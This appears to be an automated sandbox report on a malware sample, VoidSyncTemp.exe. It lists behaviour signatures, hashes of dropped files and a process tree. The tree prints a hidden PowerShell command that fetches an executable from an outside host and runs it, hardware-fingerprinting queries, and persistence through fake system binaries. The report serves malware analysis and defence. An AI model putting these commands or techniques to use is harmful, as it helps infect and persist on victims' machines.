Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 00:44

General

  • Target
    VoidSyncTemp.exe
  • Size 2.8MB
  • Sample260730-a3k79ahe93
  • SHA256 27d9c2006a4d4ee93ad82c9f4ccb5aec375f990a5192a1b8c517330c0f644fc5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 6 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe
    "C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6084
    • \??\c:\users\admin\appdata\local\temp\voidsynctemp.exe 
      c:\users\admin\appdata\local\temp\voidsynctemp.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3236
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1124
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2548
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:2784
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:3300
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:1568
    • C:\Windows\Resources\Themes\icsys.icn.exe
      C:\Windows\Resources\Themes\icsys.icn.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3828
      • \??\c:\windows\resources\themes\explorer.exe
        c:\windows\resources\themes\explorer.exe
        3⤵
        • Modifies visibility of hidden/system files in Explorer
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in System32 directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3084
        • \??\c:\windows\resources\spoolsv.exe
          c:\windows\resources\spoolsv.exe SE
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2000
          • \??\c:\windows\resources\svchost.exe
            c:\windows\resources\svchost.exe
            5⤵
            • Modifies visibility of hidden/system files in Explorer
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3696
            • \??\c:\windows\resources\spoolsv.exe
              c:\windows\resources\spoolsv.exe PR
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:3244

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 759cc43ee78ef5aabbc4bb29ff24b2737cca919d3110f9db046b0601a353d3c4
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_qfcuhp5b.qur.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfcuhp5b.qur.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        voidsynctemp.exe 

        • Path C:\Users\Admin\AppData\Local\Temp\voidsynctemp.exe 
        • Size 2.7MB
        • SHA256 c58dc269d7e6a3324c4c5998dcee30701514ce2b2b1bed812a974a914c82d4c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        explorer.exe

        • Path C:\Windows\Resources\Themes\explorer.exe
        • Size 135KB
        • SHA256 28597440e405629aa18c2a00c8d298712a3969f2b4711e38d095ceb46aa6dd9a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        icsys.icn.exe

        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 795ba21ace8bad935fa9b040269fe8bc8b014c9bd933d2549dba480520cfc378
        • MD5 SHA1 SHA512 SSDEEP TLSH

        spoolsv.exe

        • Path C:\Windows\Resources\spoolsv.exe
        • Size 135KB
        • SHA256 3d263bc5cdf1c5d2efc00bce540c7dac94129747f918bc2dd6eefe6f08e550ec
        • MD5 SHA1 SHA512 SSDEEP TLSH

        svchost.exe

        • Path \??\c:\windows\resources\svchost.exe
        • Size 135KB
        • SHA256 c1c562efdac12b7513e8443da79d7a801aed4a0d424884ba9a2b816320ab6e08
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2000-55-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/2548-20-0x000002C4B15F0000-0x000002C4B1612000-memory.dmp

        memory/2784-61-0x000001DA57E30000-0x000001DA57EE2000-memory.dmp

        memory/2784-60-0x000001DA57BA0000-0x000001DA57BBE000-memory.dmp

        memory/2784-62-0x000001DA57B90000-0x000001DA57B9A000-memory.dmp

        memory/2784-64-0x000001DA57BF0000-0x000001DA57C14000-memory.dmp

        memory/2784-63-0x000001DA57BF0000-0x000001DA57C1A000-memory.dmp

        memory/3084-88-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/3236-10-0x0000000140000000-0x00000001402AE000-memory.dmp

        memory/3236-78-0x0000000140000000-0x00000001402AE000-memory.dmp

        memory/3244-54-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/3696-89-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/3828-56-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/6084-0-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/6084-57-0x0000000000400000-0x000000000041F000-memory.dmp